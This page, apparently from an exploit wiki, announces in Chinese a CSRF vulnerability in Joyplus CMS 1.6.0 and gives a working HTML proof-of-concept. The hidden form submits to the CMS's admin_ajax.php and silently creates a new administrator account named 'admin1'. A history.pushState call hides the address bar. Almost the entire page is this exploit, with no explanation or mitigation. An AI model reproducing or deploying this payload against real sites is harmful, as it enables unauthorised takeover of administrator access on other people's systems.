Loading
◆◆0

Joyplus cms 1.6.0 管理员账户新增CSRF漏洞

PWNWIK.COM

,

EXP

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.126.129/joyplus-cms-master/joyplus-cms/manager/admin_ajax.php?action=save&tab={pre}manager" method="POST">
      <input type="hidden" name="m_id" value="" />
      <input type="hidden" name="flag" value="add" />
      <input type="hidden" name="m_name" value="admin1" />
      <input type="hidden" name="m_password" value="admin1" />
      <input type="hidden" name="m_status" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

pwnwiki.com